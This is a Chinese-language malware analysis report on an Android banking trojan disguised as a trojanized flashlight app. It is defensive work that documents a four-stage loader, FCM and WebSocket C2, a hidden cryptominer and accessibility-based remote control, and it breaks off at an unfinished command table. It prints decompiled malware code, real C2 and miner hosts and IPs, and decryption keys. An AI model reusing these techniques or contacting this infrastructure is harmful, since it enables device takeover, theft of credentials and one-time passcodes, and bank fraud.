BeatBanker/BTMOB Android 银行恶意软件分析
对伪装成手电筒应用的 BeatBanker/BTMOB Android 银行恶意软件 TV_V_23.apk 的静态分析:四阶段攻击链、反分析技术、归因及 IOC。
背景
2026 年 3 月,我们的一家银行客户联系了我们。此前有报告称,其多名移动应用用户的设备已被一个 Android 恶意软件样本攻陷。受害者描述的现象符合凭据窃取的特征,并出现了从其本人设备发起的未经授权的交易尝试,而该银行的移动应用似乎是此次攻击的焦点。客户向我们提供了一份可疑 APK 的副本——它以一款名为 LumoLight 的手电筒工具的形式分发给受害者——并请我们确定该恶意软件的行为、具备哪些能力,以及应如何进行防御。
本文记录了这一分析过程。我们的目标是查明该样本的全部能力,并在可能的情况下将其归因于已知的威胁行为者,以便客户的防御、反欺诈监控和客户通告团队能够依据准确的信息作出响应。整个工作以纯静态分析的方式进行——APK 及其分阶段载荷均在不执行的情况下完成了解包、解密和逆向工程。这一做法是有意为之:它避免了与实时 C2 发生交互、从而惊动操作者的任何风险,但也限定了我们能够确定和无法确定的范围,我们会在报告后文中明确指出这一点。
执行摘要
TV_V_23.apk 是一个多阶段的 Android 银行恶意软件平台,以一款名为 LumoLight 的虚假手电筒应用进行分发。在无害的工具外表之下,它部署了一条四阶段的加载器链,最终安装一个完整的远程访问工具(RAT)、一个隐蔽的加密货币挖矿程序以及一个实时的钓鱼投递引擎——整个过程未利用任何设备漏洞。
主要发现:
-
能力。 最终阶段的载荷使远程操作者能够完全查看并控制受感染设备:实时屏幕捕获、在任意应用(包括银行应用)内进行实时 UI 交互、SMS/OTP 拦截、钓鱼覆盖层投递以及文件窃取。
-
攻击目标在运行时可配置,而非硬编码。 对样本的静态分析确认,APK 中没有嵌入任何特定银行——目标机构可随时由操作者的命令与控制(C2)服务器下发,这意味着只需一条消息,即可在整个受感染设备群中将任何银行设为目标。一段公开可得的、展示操作者端 C2 界面的概念验证视频提供了独立佐证:视频中显示了一份活跃的目标列表,其中填充了主要移动银行应用的包名,证实针对银行的攻击是该平台在野环境中的一项实际功能,而非理论上的能力。
-
并行变现。 一个独立的辅助阶段会安装加密货币挖矿程序,无论是否窃取到银行凭据,都能为威胁行为者带来收入。
-
归因。 基础设施和行为指标以高置信度将该样本归入公开报道的 BeatBanker / BTMOB 攻击活动集群。
对客户的结论:凡是安装并运行过 TV_V_23.apk 的设备,都必须被视为已完全失陷——部分清除并不可靠,因为下游载荷的安装和持久化独立于原始加载器。而且由于攻击目标由操作者控制,而非内置于恶意软件之中,该样本中没有特定银行的内容并不意味着对客户的威胁已经减弱:同一套基础设施可以随时重新选定目标。
样本识别
本报告分析的样本是一个单独的 Android 应用包。其识别元数据汇总如下。
| 字段 | 值 |
|---|---|
| 文件名 | TV_V_23.apk |
| 可见包名 | com.bitmavrick.lumolight |
| SHA-256 | 5686a80c1e66c468cbc36fab816f8fa2a28538beddcc1f9846a1c1d6aaa2855c |
| MD5 | 6160d680280c07af0cbee782f423be2f |
| 可见品牌 | LumoLight(手电筒 / 快捷设置工具) |
| 真实用途 | 多阶段 Android 加载器、RAT、挖矿程序投放器 |
| 所属攻击活动 | BeatBanker / BTMOB(高置信度) |
样本的分发方式。该 APK 通过社会工程手段到达受害者手中——具体的投递途径不在本报告范围之内。与本报告直接相关的是伪装方式的选择:手电筒或快捷设置工具属于低关注度的应用类别,用户经常在未仔细查看权限的情况下侧载此类应用,这使其成为恶意加载器的理想外壳。
初步分诊中的危险信号。在进行任何深入的逆向工程之前,三个表层观察结果就足以确认该样本值得进行完整分析:
-
被植入木马的开源应用。com.bitmavrick.lumolight 包是公开的 BitMavrick/Lumolight 手电筒项目的一个木马化分支——上游仓库的 URL 仍嵌在外层 APK 中。攻击者并没有从零开始编造一个虚假应用;他们拿来了可以正常运行的合法代码库,保留了其品牌和手电筒功能,并在其之上注入了一个恶意的 Application 子类、一个原生加载器和一个纯原生 Activity。由于安装后的应用确实能当手电筒使用(原有的亮度/闪光 UI 和快捷设置磁贴服务都仍然存在且可用),受害者自然而然的合理性检查——“这个应用是否名副其实?”——得到的是令人安心的肯定答案,怀疑也就到此为止。
-
与手电筒不相符的权限集合。清单文件请求了 REQUEST_INSTALL_PACKAGES、QUERY_ALL_PACKAGES、RECEIVE_BOOT_COMPLETED,并声明了 Firebase Cloud Messaging 组件。手电筒工具没有任何正当理由去安装其他应用、枚举设备上的所有应用、在重启后继续存活,或维持一个推送通知通道。其中任何一项单独出现都值得注意;同时出现则足以判定这是一个加载器,而不是一个工具。
-
可疑的 asset 目录内容。assets/ 目录中包含文件名经过混淆的高熵二进制数据块——这种结构与加密载荷的分阶段存放相关,而不同于正常的应用资源(图片、字体、本地化文件)。
这三项观察结果综合起来,使分析的问题从“这是否是恶意的?”转变为“这是哪一类恶意软件,规模有多大?”——本报告的其余部分将回答这个问题。
第 1 阶段:受害者的初次接触——诱饵应用与原生引导
被植入木马的开源宿主应用。
外层 APK 是围绕公开的手电筒项目 BitMavrick/Lumolight 构建的。合法代码库完整且可正常运行——FlashTileActivity、LumolightTileService 以及启动器 MainActivity 仍按设计工作。

图 1:受害者看到的 LumoLight 界面——一个功能正常的手电筒应用,掩盖了在同一进程中运行的恶意软件。
攻击者在其之上注入了四个恶意组件:
-
com.bitmavrick.lumolight.LumolightApp——一个被注入的 Application 子类,在进程初始化期间调用恶意引导程序。
-
com.bitmavrick.lumolight.IonisedConvincing——libmetaspermousdevitrifiednoiseful.so 的原生库加载器。
-
com.bitmavrick.lumolight.UnablyBrattain——一个纯原生 Activity。
-
对启动器 MainActivity 的一处修改:在正常应用 UI 初始化之后立即调用 startActivity(new Intent(this, UnablyBrattain.class)),在不打断用户可见的手电筒体验的情况下,将控制权交给恶意的纯原生 Activity。
恶意权限和隐藏的 com.yqzg.parrnell 清单组件被添加到了 AndroidManifest.xml 中。由于该应用确实可以当手电筒使用,受害者自然而然的合理性检查会得到令人安心的肯定答案。
原生库劫持应用生命周期
com.bitmavrick.lumolight.LumolightApp 的 attachBaseContext 和 onCreate 方法——最早的生命周期入口点,在任何 UI 渲染之前被调用——被声明为 native,并由 libmetaspermousdevitrifiednoiseful.so 实现。Android 将控制权交给原生实现,而不是 Java。经过混淆的库名本身就是一个小小的反分析信号,其选择是为了避免与已知恶意库名进行关键词匹配。
同样的模式在第 3 阶段再次出现。辅助 APK(com.sywo.chelingas,第 3 阶段)使用了完全相同的原生移交模式——但由于没有需要保留的合法代码,其 Application 子类中只有一个 System.loadLibrary 调用和两个 native 方法声明:
// APK: com.sywo.chelingas (Stage 3 helper)
// JADX source: sources/pjOZQC/c6xmV4.java
//
// Shown here as evidence that Stage 1's native-handoff architecture
// is a deliberate, reused pattern across the malware's stages — not a
// one-off. The helper's Application class contains no Java logic;
// both lifecycle methods are declared 'native' and implemented
// entirely inside liblixhokfsmav.so, invisible to JADX.
public class c6xmV4 extends Application {
public Object eeHugaithaikuu9u = null;
static {
System.loadLibrary("lixhokfsmav");
}
@Override
public native void attachBaseContext(Context context);
@Override
public native void onCreate();
}
在第 1 阶段,移交逻辑被注入到合法的类层次结构中;在第 3 阶段,它则是一个专门构建的空壳。意图相同:将关键逻辑推入原生代码,使 Java 层的静态分析无法触及。
加密载荷的分阶段存放
原生引导程序会解密 APK 的 assets/ 目录中的两个数据块。两个加密例程都位于原生库内部,没有在任何可读的 Java 类中暴露;以下细节是从分阶段载荷的产物中还原的,而非来自外层 APK 的源代码。
| Asset 路径 | 加密算法 | 产物 |
|---|---|---|
| vyh3u73x8mp5elng | 循环 XOR | 引导 DEX(stage1_bootstrap_loader.dex,SHA-256 58e39152...) |
| s3h8m8q8kb38a4iy/ksqzvp1v | AES-CBC/PKCS5Padding,key = SHA-1(basename)[:16],全零 IV | 隐藏的编排器 APK(com.yqzg.parrnell) |
引导 DEX 通过反射操纵父类加载器的 dexElements 数组(在较新的 API 级别上则使用 makeInMemoryDexElements),将解密后的编排器加载到内存中——这与在第 3 阶段辅助程序中直接确认的模式相同。编排器 APK 从不会以可被扫描的形式写入磁盘。
常规 Android 分析流程所依赖的每一个入口点,要么被合法代码取代,要么被推入原生代码。任何不愿意逆向 ARM 代码的人,看的都是错误的层面。
第 2 阶段:隐藏的编排器——建立持久化与云端控制
通过 Firebase Cloud Messaging 实现云端连接
编排器会将自身注册到一个由威胁行为者控制的 Firebase 项目。该配置以混淆形式嵌入在第 2 阶段中——com.yqzg.parrnell.App 构建一个 JQHWyjC66EcSxmVdbe 选项对象,其中包含 ApplicationId、ApiKey、gcmSenderId、storageBucket 和 projectId,uvddntLtzpPJk8Xjs5.java 则在运行时使用它初始化默认的 Firebase 应用。同一配置也以明文形式出现在还原出的最终辅助 DEX(第 3 阶段)中;两个阶段各自独立地携带该配置。
| 字段 | 值 |
|---|---|
| Firebase App ID | 1:39848184100:android:c44d4f602ecf40683bcbb1 |
| Firebase API Key | AIzaSyDDRPszQIVKnbIBw9nZuuhferi4-I0xwXU |
| Firebase Sender ID | 39848184100 |
| Firebase Project | waking-21b04 |
| Firebase Bucket | waking-21b04.firebasestorage.app |
| 遥测主机 | https://aptabase.jesfeoqrj3.xyz:8443 |
Firebase Cloud Messaging(FCM)是一项合法的 Google 服务,主流应用用它来推送通知。通过将 FCM 用作命令通道,操作者同时获得了三项优势:
-
流量混迹其中。FCM 消息经由 Google 的基础设施传输,在网络日志中显示为常规的通知流量;如果不进行载荷级检查,几乎无法与合法的应用行为区分开来。
-
可靠地送达处于后台或休眠状态的设备。即使应用并未处于活动运行状态,Android 也会投递 FCM 推送,使操作者可以按需唤醒受感染设备。
-
主唤醒路径不需要操作者控制的域名。受感染设备连接的是 fcm.googleapis.com,而不是攻击者的基础设施,这意味着在网络边界部署简单的域名黑名单防御不足以切断该通道。
对于客户的 SOC 和反欺诈团队而言,可据此采取行动的要点是:基于 FCM 的 C2 无法在网络边缘被阻断,否则会破坏合法应用。检测必须在终端上通过行为信号进行(例如,具有异常 FCM 注册的应用、接收 FCM 推送却没有任何用户可见通知的包),而不能依靠网络层过滤。
持久化
FCM 注册完成后,编排器会通过标准 Android Intent android.settings.REQUEST_IGNORE_BATTERY_OPTIMIZATIONS 并附带一个 package: 数据 URI 来请求电池优化豁免(已在 com.yqzg.parrnell.MainActivity 第 356 行确认)。该权限通过标准系统对话框授予。一旦授予,Android 便不再积极终止编排器的后台进程。
下游载荷的部署
编排器在其自身的 assets/ 目录中携带一个安装程序包——其中包含安装引擎和原生库,而非下游 APK 本身:
| Asset | 用途 |
|---|---|
| stage2_installer_bundle.zip → plectrumsplanchnomegalia(约 4.6 MB 的 DEX) | 安装引擎——一个大型嵌入式 DEX,负责驱动下游安装 |
| stage2_installer_bundle.zip → arm64-v8a / armeabi-v7a | 与 ABI 匹配、随安装程序一起打包的原生库 |
| stage2_installer_assets.zip | 虚假设置/更新界面的 UI 资源,以及 output8.mp3(之后由第 3 阶段辅助程序用于其媒体循环保活机制) |
下游 APK 以加密形式在本地存放于外层 APK 的 assets 中,并交给安装程序处理——作为主路径,它们并非从 C2 实时获取。com.yqzg.parrnell.JTcvL0wHeDQ3LLur9W(第 24 行)解密并解压一个本地容器(xylograph),从中加载安装引擎,并选择本地配置数据块(franker / ununanimouslynasoscope),这些配置数据块指定了分阶段载荷的 asset。还原出的配置将它们映射到具体的 asset 集合:
- connector.predictor.messenger ← asset picaroons、pellagroid、gaitskell(三个拆分 APK 组件)。
- com.sywo.chelingas ← asset nonsignatoriesyferre。
com.yqzg.parrnell.JoDPj5ySc7Q56tJgl3 中还存在一个独立的 HTTP 下载器,作为备用或补充通道,但在该样本中它并不是主要的投递机制。
安装期间的社会工程掩护
编排器不会静默安装下游载荷。它会展示虚假的设置和更新界面,在安装期间吸引受害者的注意力,并使第 4 阶段接下来将提出的权限请求——无障碍、屏幕捕获、读取短信——显得顺理成章。刚刚看完一场貌似合法的“系统更新”完成过程的用户,已经做好了接受高权限提示的心理准备。

图 2:虚假更新界面——在后台安装下游载荷期间,编排器向受害者展示的社会工程 UI。
在第 2 阶段,恶意软件从“已安装”转变为“可控、持久,并已就位以部署真正的工具”。有三个特点使其事后难以被瓦解:FCM C2 无法在网络边缘被阻断;电池优化豁免是通过一个合法的、未经修补的对话框授予的;下游载荷作为独立的 APK 安装,因此移除编排器并不会移除它们。
第 3 阶段:辅助载荷——保活引擎与挖矿程序投递
与第 1 阶段相同的原生移交架构
辅助 APK(com.sywo.chelingas)使用了完全相同的模式——Application 子类的生命周期方法位于原生库(liblixhokfsmav.so)中,没有任何有意义的 Java 逻辑。这正是第 1 阶段中展示的 c6xmV4.java,证实该模式是一种被重复使用的工程选择,而非某个单一组件的特征。
两步式内存 DEX 加载
辅助程序通过一个中间引导 DEX 来分阶段加载其最终载荷:
-
原生库使用 64 个字符的循环 ASCII 密钥
8HqIe8TtMjtOpehmPZrAhrVbnIjZhkx3tcR720hfXQYeD7XQzeuhpdeTQ3SuM3Ap(直接作为字节序列使用,而非 PBKDF2 口令)对 asset 0DvdX3nFjtHAUApk 进行 XOR 解密,生成一个中间引导 DEX(SHA-256 7583ae8a...)。 -
引导 DEX 中的 com.example.virusscanbypassbootstrapper.DexLoader——一个从类名就能看出其用途的类——使用 AES/CBC/PKCS5Padding、以 SHA-1("RioFpQvI")[:16](路径的 basename)派生的 16 字节密钥以及全零 IV,对第二个 asset 4qZE2YiJUkIj2a2a/RioFpQvI 进行 AES 解密,生成一个 ZIP 压缩包。
-
该 ZIP 包含最终的辅助 DEX(classes.dex,SHA-256 79aba8d3fad2...),通过类加载器修补直接加载到内存中(API < 26 时使用 DexClassLoader,API ≥ 29 时使用 makeInMemoryDexElements,并结合对父类加载器 dexElements 数组的反射操纵)。
整条链在运行过程中不会将最终 DEX 写入磁盘上的可预测位置,从而使那些在标准应用存储路径中查找 APK 或 DEX 文件的扫描器失效。
最终辅助 DEX 做两件事:通过伪装成系统更新的前台服务实现持久化,以及通过下载的原生二进制文件进行加密货币挖矿。
通过虚假系统更新通知实现持久化
辅助程序会注册为 Android 前台服务——这是一种合法机制,以显示一条通知为代价,换取在后台无限期运行。该通知被伪装成一条系统消息:
| 字段 | 值 |
|---|---|
| 通知标题 | Update Now |
| 通知正文 | The system is being updated, please keep the phone on. |
这段措辞确实发挥了作用。用户在习惯上被教导不要中断系统更新——关闭更新通知让人觉得有风险,而“please keep the phone on”(请保持手机开机)则劝阻了最直接威胁持久化的两种操作(滑动移除通知、关闭设备电源)。
在通知背后,该服务还维持着另外两种保活机制:它循环播放 output8.mp3(通过第 2 阶段的安装程序资源 ZIP 提供),使进程始终被归类为正在播放媒体,从而提高其生命周期优先级;它还会定期重新获取 Android 唤醒锁,以防止 CPU 进入休眠。两者结合之下,无论屏幕状态、闲置情况或内存压力如何,Android 都不会主动终止该进程。
加密货币挖矿程序的部署
在实现持久化的同时,辅助程序会从操作者的基础设施下载一个加密的挖矿程序二进制文件,在设备上解密,写入本地存储,并作为原生子进程执行。下面还原出的代码展示了挖矿进程的启动以及对其 stdout 的性能指标监控:
// APK: com.sywo.chelingas — recovered final helper DEX
// JADX source: sources/com/google/worker/work/a.java (inner class b.run(), lines 36–62)
//
// After writing the decrypted miner binary to disk and making it executable,
// the helper launches it as a child process and monitors its stdout in a
// background thread. Miner output lines are parsed for performance metrics.
// The method k() handles cleanup if the process terminates unexpectedly.
public void run() {
try {
String[] strArrG = a.this.g(); // builds argv: [-o pool, -k key, --tls, --no-color]
File fileF = a.this.f(); // returns the dropped worker executable path
a aVar = a.this;
aVar.a = aVar.i(fileF, strArrG); // launches the miner process via ProcessBuilder
Scanner scanner = new Scanner(a.this.a.getInputStream());
while (!Thread.interrupted() && scanner.hasNextLine()) {
String strNextLine = scanner.nextLine();
t.a(strNextLine); // telemetry: reports mining output upstream
Log.v(..., strNextLine); // raw miner output logged at verbose level
}
} catch (Exception e) {
Log.e(..., "worker error: " + e);
}
a.this.k(); // cleanup / restart on termination
}
传递给挖矿程序的命令行参数(-o、-k、--tls、--no-color)与 XMRig 的标准 CLI 一致,强烈表明该挖矿程序是 XMRig 或其近似分支,连接的是一个兼容 Monero 的矿池。
还原出的完整挖矿基础设施:
| 组件 | 值 |
|---|---|
| 挖矿程序二进制文件名 | libmine-arm64.so / libmine-arm32.so |
| 挖矿程序下载地址 | https://accessor.fud2026.com/, https://accessor.fud2026.org/ |
| 矿池 | pool.fud2026.com, pool.fud2026.com:8443 |
| 矿池代理 | pool-proxy.fud2026.com:8443 |
| 遥测主机 | https://aptabase.khwdji319.xyz:8443 |
| 遥测应用密钥 | A-SH-2776504097 |
fud2026.* 域名集群不仅是运营基础设施——它也出现在 BeatBanker 攻击活动集群的公开报告指标中(参见“归因”一节)。加密货币挖矿组件是该威胁行为者运营活动的有机组成部分,而不是第三方附加组件。
这对客户有两点启示:与操作者载荷不同,加密货币挖矿程序不可避免地会产生物理症状(电池消耗加快、发热、空闲时 CPU 占用)——客户关于原本状态良好的设备出现无法解释的电池或发热问题的反馈,可以作为独立于银行欺诈指标之外的辅助分诊信号。此外,由于挖矿无论银行欺诈是否得手都能从每一台受感染设备获取收入,操作者没有动力去精挑细选高价值目标——更广的感染面本身就有利可图,这也说明了持续投入该攻击活动的合理性。
第 4 阶段:操作者载荷——无障碍服务滥用、屏幕捕获与实时 C2
第 4 阶段是面向人工操作者的组件。第 3 阶段静默运行以获取被动收入,而第 4 阶段则是一个交互式远程访问平台:它实时监视受害者,等待高价值时刻(银行应用处于前台、出现凭据输入提示、OTP 到达),并让操作者在这些时刻发生时进行查看、拦截和操纵。它所使用的每一项能力都是通过受害者授予的权限获得的——而非通过任何技术性的漏洞利用。
安装、持久化与权限提升
操作者载荷以拆分 APK 集合的形式投递:一个基础 APK、一个代码拆分 DEX APK 和一个资源拆分 APK。这是通过 Google Play Store 发布的应用所使用的分发格式,增加了一层表面上的合法性,并使载荷更难作为单个产物被提取。
开机持久化。清单文件声明了一个 BootReceiver(connector.predictor.messenger.BootReceiver),注册监听 BOOT_COMPLETED、QUICKBOOT_POWERON、com.htc.intent.action.QUICKBOOT_POWERON、REBOOT 和 ACTION_SHUTDOWN。开机时,该接收器会在用户解锁屏幕之前启动前台服务——等到锁屏界面出现时,恶意软件已经在运行并连接到了 C2。
权限清单。该载荷请求了大量权限,反映出完整的操作者工具集:
| 权限 | 操作用途 |
|---|---|
| READ_SMS | OTP 拦截,绕过银行 2FA |
| CAMERA | 访问设备摄像头 |
| MANAGE_EXTERNAL_STORAGE | 文件搜索与窃取 |
| WRITE_EXTERNAL_STORAGE (maxSdk=29) | 在旧版 Android 上写入文件 |
| READ_EXTERNAL_STORAGE (maxSdk=32) | 在旧版 Android 上读取文件 |
| REQUEST_INSTALL_PACKAGES | 静默安装额外载荷 |
| REQUEST_DELETE_PACKAGES | 移除竞争应用或掩盖痕迹 |
| QUERY_ALL_PACKAGES | 枚举已安装应用以识别目标 |
| FOREGROUND_SERVICE | 运行持久的后台服务 |
| FOREGROUND_SERVICE_MEDIA_PROJECTION | 持久的屏幕捕获服务 |
| FOREGROUND_SERVICE_DATA_SYNC | 持久的数据同步服务 |
| FOREGROUND_SERVICE_SPECIAL_USE | 保留的前台服务类型 |
| FOREGROUND_SERVICE_SYSTEM_EXEMPTED | 系统豁免的前台服务类别 |
| POST_NOTIFICATIONS | 显示通知(Android 13+ 上必需) |
| VIBRATE | 设备振动(配合钓鱼锁屏界面) |
| FLASHLIGHT | 控制摄像头闪光灯 |
| INTERNET | 网络通信 |
| ACCESS_WIFI_STATE / ACCESS_NETWORK_STATE | 感知网络状态的行为 |
| WAKE_LOCK | 无论屏幕状态如何都保持 CPU 运行 |
| REQUEST_IGNORE_BATTERY_OPTIMIZATIONS | 防止操作系统终止后台服务 |
| USE_EXACT_ALARM / SET_ALARM | 安排精确的唤醒事件 |
| DYNAMIC_RECEIVER_NOT_EXPORTED_PERMISSION(自定义) | 保护内部接收器不被外部调用 |
两项在操作上起决定性作用的权限——无障碍服务和屏幕捕获——并不能仅通过清单文件获得;两者都需要用户通过系统级 UI 手动启用。诱饵工具包正是为获取这两项权限而存在的。
诱饵工具包:以社会工程手段获取权限
该载荷携带一组嵌入式的 HTML 虚假界面,以加密形式存储在 APK 中,并在运行时解码:
- 虚假的无障碍设置引导(acs_mi、acs_sm、acs_els)——引导受害者一步步启用恶意无障碍服务,并将其包装成必需的设置步骤。
- 虚假的“需要 VPN”界面(vpn_required)——制造紧迫感,为原本可疑的访问请求提供理由。
- 虚假的更新和初始化流程(up_require、launcher、s1s2s3s4)——在安装下游组件期间降低用户的戒心。
- 凭据窃取(1.decoded)——样式模仿受信任服务的通用表单。
- PIN 码和密码锁屏界面(2.decoded、3.decoded)——拦截设备解锁凭据或投递钓鱼流程。

图 3:虚假的无障碍服务启用界面——向受害者展示、诱使其启用恶意无障碍服务的社会工程页面。

图 4:虚假的应用更新 / 需要 VPN / 加载流程——用于维持受害者信任、为持续获取权限制造借口的次级诱饵界面。
这是一套工作流程,而非一次单独的提示。恶意软件不会一次性索取所有权限——它先通过看似合法的设置界面赢得信任,在授予无障碍权限显得顺理成章的情境中提出请求,再利用无障碍权限让后续请求更容易得逞。一个会拒绝直接弹出的无障碍权限提示的受害者,在一次例行更新流程的第四步中授予该权限的可能性要高得多。
无障碍服务滥用究竟能给操作者带来什么
一旦受害者启用了恶意无障碍服务,设备上的权力天平就发生了倾斜。Android 的 Accessibility API 是为合法用途(屏幕阅读器、切换控制工具)而设计的,但它所暴露的能力——读取任意 UI 元素、模拟任意触摸、拦截按键事件——恰恰是远程操作者所需要的。还原出的服务配置请求了最大范围的能力:
| 能力 | 值 |
|---|---|
| 事件捕获 | typeAllMask(设备上的所有 UI 事件) |
| 包过滤器 | 不存在(不受限制——同等监视所有应用) |
| 可获取窗口内容 | true |
| 可执行手势 | true |
| 可截取屏幕截图 | true |
| 可请求过滤按键事件 | true |
| 标志 | flagRetrieveInteractiveWindows, flagReportViewIds, flagRequestEnhancedWebAccessibility, flagRequestTouchExplorationMode, flagIncludeNotImportantViews, flagDefault |
(来源:res/xml/aujijdshciyxu.xml。)
这是一套完整的设备监视与远程控制基础。操作者可以读取每一个 UI 元素、点击任意按钮、提交任意表单、拦截按键、截取屏幕截图,并且可以在任何应用内完成这一切——包括经过加固的银行应用。
目标选择逻辑
该服务会监控前台应用的切换,并将新激活的应用与目标列表进行比对:
// APK: connector.predictor.messenger — split DEX
// JADX source: connector/predictor/messenger/posvvhbqnqa.java
//
// Note: Analytical abstraction — obfuscated rf0.a() calls replaced with decoded values.
//
// On every foreground app transition, the accessibility service checks two conditions:
// (1) tracking is enabled in shared preferences (re.e0), and
// (2) the runtime target map (s.i / s.j / s.k) has at least one entry.
// If both are true, it iterates the target map comparing the current
// foreground package name and browser URL against stored target values.
// When mode 'G' (phishing/monitoring activation) matches, t() is called
// to trigger the next stage of the attack against that specific app.
if (((r00.c(getApplicationContext(), re.e0, false) && s.h.size() > 0)
|| r00.c(getApplicationContext(), /* ... */, false)) && r9 != 0) {
for (Map.Entry entry : s.i.entrySet()) {
String str17 = (String) entry.getKey();
str10 = (String) entry.getValue(); // ltrk: URL/domain tracker value
str11 = (String) s.j.get(str17); // itrk: package name to match
str12 = (String) s.k.get(str17); // ityp: activation mode
if (s.B0(str16.toLowerCase(), str10)
|| (str11 != null && str11.toLowerCase().equals(str15))) {
if (str12.equals(/* "G" */)) { // mode 'G' = active phishing
if (!a0()) {
t(getApplicationContext(), this); // trigger phishing/interaction flow
}
}
// else-branch: passive monitoring mode — captures the foreground app's
// 144×144 icon, encodes it as PNG, and schedules a Timer task (new e(...))
// after an 800ms delay to report the foreground-app transition upstream.
}
}
}
至少存在两种激活模式
模式 G 触发主动钓鱼。else 分支是一种被动监控模式:每当发生前台应用切换(在任何应用上,而不仅是钓鱼目标),该服务都会将该应用 144×144 的图标捕获为 PNG,并安排一次延迟上报。操作者由此持续获得受害者正在使用哪些应用的信息流,与主动钓鱼列表无关。
目标映射在运行时填充,而非硬编码
在样本中的任何位置都没有还原出银行应用包名的静态列表。在操作者向 s.i、s.j、s.k 这几个映射推送目标定义之前,它们都是空的。还原出的 C2 命令分发器(d0.java,命令 case 4)展示了这一机制:
// APK: connector.predictor.messenger — split DEX
// JADX source: sources/connector/predictor/messenger/d0.java (L1271–1284)
//
// C2 command case 4: the operator sends a JSON object containing
// ntrk (tracker ID), ltrk (URL/domain), itrk (package name), and ityp (mode).
// The connector immediately inserts these values into the live target maps,
// enabling real-time retargeting to any application without requiring
// a new APK or any action from the victim.
String strOptString5 = jSONObject.optString(/* "ntrk" */, "");
String strOptString6 = jSONObject.optString(/* "ltrk" */, "");
String strOptString7 = jSONObject.optString(/* "itrk" */, "");
String strOptString8 = jSONObject.optString(/* "ityp" */, "");
if (strOptString8.equals(/* "G" */)) {
posvvhbqnqa.x.add(strOptString7.toLowerCase()); // add package to active watch list
}
s.K(strOptString5, strOptString6); // store tracker value
s.H(strOptString5, strOptString7); // store package name
s.I(strOptString5); // initialize tracking state
s.J(strOptString5, strOptString8); // store activation mode
r00.f(d0.h, re.e0, true); // set tracking_enabled = true in shared prefs
还存在一条经由 Firebase 的并行路径:服务启动处理程序(hhmpmwbx.java)从 Firebase 任务载荷中读取 TRK 字段,对每个条目进行 Base64 解码,并填充相同的目标结构。由此形成两条相互独立的下发通道:交互式(WebSocket)和广播式(FCM,可一次性触达整个设备群):
// APK: connector.predictor.messenger — split DEX
// JADX source: sources/connector/predictor/messenger/hhmpmwbx.java
//
// On service start, the connector checks the 'TRK' value from its shared state.
// If it is non-empty and does not begin with the sentinel 'empty|', it splits
// the value on '|', Base64-decodes each entry as UTF-8, then splits each
// decoded entry on the field separator '[<s>]' into four named fields:
// ntrk, ltrk, itrk, ityp. This is the same structure as the live C2 update above.
if (!oxjugojsnjozr.efexbpctvpjlwqee.contains(/* "|" */)
|| oxjugojsnjozr.efexbpctvpjlwqee.startsWith(/* "empty|" */)) {
r00.f(getApplicationContext(), re.e0, false);
return;
}
r00.f(getApplicationContext(), re.e0, true);
for (String str2 : oxjugojsnjozr.efexbpctvpjlwqee.split(/* "|" */)) {
String str3 = new String(Base64.decode(str2, 0), /* "UTF-8" */);
if (str3.length() > 0 && str3.contains(/* "[<s>]" */)) {
String[] strArrSplit = str3.split(/* "[<s>]" */);
String str4 = strArrSplit[0]; // ntrk
String str5 = strArrSplit[1]; // ltrk
String str6 = strArrSplit[2]; // itrk (package name)
String str7 = strArrSplit[3]; // ityp (activation mode)
if (str7.equals(/* "G" */)) {
posvvhbqnqa.x.add(str6.toLowerCase());
}
s.K(str4, str5);
s.H(str4, str6);
s.I(str4);
s.J(str4, str7);
}
}
针对任何银行的能力内置于恶意软件之中;而当前被针对的银行列表则存放在 C2 服务器上。来自一段公开可得的、展示操作者端 C2 界面的概念验证视频的独立证据佐证了:在野环境中,操作者的目标列表上确实存在银行应用的包名。
屏幕捕获与钓鱼投递
除了基于无障碍服务的交互之外,connector 还通过 Android 的 MediaProjection API 实现了持续的屏幕捕获。VirtualDisplay、ImageReader 和 WebSocket 传输共同构成一条通往操作者的实时流媒体管道。
屏幕捕获独立于无障碍服务:不同的 Android API、不同的权限(FOREGROUND_SERVICE_MEDIA_PROJECTION)、不同的用户授权对话框——诱饵工具包正是专门为获取它而设计的。同时拥有无障碍服务和屏幕捕获能力的操作者具备冗余的可见性:即使其中一条数据流质量下降,另一条仍会继续运行。
目标激活时的钓鱼投递。当某个目标包切换到前台且模式 G 被激活时,connector 可以通过三种机制投递钓鱼内容:
- 一个从本地 HTML 诱饵工具包加载的全屏 WebView(activity cofsbfpmyxowwuea)。
- 一个覆盖在合法应用之上的虚假锁屏或凭据 Activity(activity dhsesufepsplsmqcghx)。
- 对合法应用自身 UI 的基于无障碍服务的直接操纵——自动填充字段、提交表单、授权交易——不使用任何覆盖层(通过 posvvhbqnqa 无障碍服务)。
第三种机制正是检测上的难题:设备端防御找不到任何覆盖窗口的痕迹,因为根本就没有覆盖层。恶意软件利用受害者自己已通过身份验证的会话,代替操作者操作受害者真实的银行应用。从银行后端来看,每一个操作都源自合法用户的设备和会话——因为事实确实如此。

图 5:虚假的凭据窃取或 PIN 锁屏界面——在被监控的应用上触发无障碍目标后,connector 展示的钓鱼覆盖层。
C2 通信架构
connector 维持着两条通往操作者基础设施的并行通道。
主通道:持久 WebSocket。
// APK: connector.predictor.messenger — split DEX
// JADX source: sources/filterpredictor/loggermuxer/daemonallocatorx/daemonprober/gz.java (L291)
//
// The connector instantiates an OkHttpClient and opens a persistent WebSocket
// to the URL returned by re.c(). The WebSocket listener (C0054a) handles
// incoming operator commands in real time.
public void run() {
OkHttpClient unused = gz.a = new OkHttpClient();
gz.f = gz.a.newWebSocket(new Request.Builder().url(re.c()).build(), new C0054a());
}
C2 端点在运行时可配置。re.c() 不是一个常量。该方法(re.java L201–216)读取一个运行时可配置的字段 re.c——初始值为空——对所有已配置的值依次进行可达性检查,只有在所有已配置的值都不可达时,才回退到一个硬编码的混淆字符串,其解码结果为 ws://195.160.221.203:8080/。硬编码的 IP 只是回退地址;操作者无需推送新的 APK,即可通过配置更新将主槽位重新指向其他地址。封锁 195.160.221.203 可以切断回退路径,但无法阻止其重定向到任意新的基础设施。
次通道:HTTP 上报与任务下发。
| 通道 | 端点 | 作用 |
|---|---|---|
| 主 WebSocket C2(回退) | ws://195.160.221.203:8080/ | 实时双向的操作者控制 |
| 错误上报 | http://45.149.114.40/yaarsa/private/log_error.php | 恶意软件端的崩溃/错误遥测 |
| 任务 / 配置 | http://45.149.114.40/yaarsa/private/yarsap_80541.php | 获取计划任务 |
| 重定向 / 重新配置 | https://famelack.com/ | 操作者控制的重定向端点 |
完整的操作者命令集。还原出的分发器处理程序表明,这是一个通用的 Android RAT,而不是一个功能单一的银行覆盖层工具:
| 命令 | 能力 |
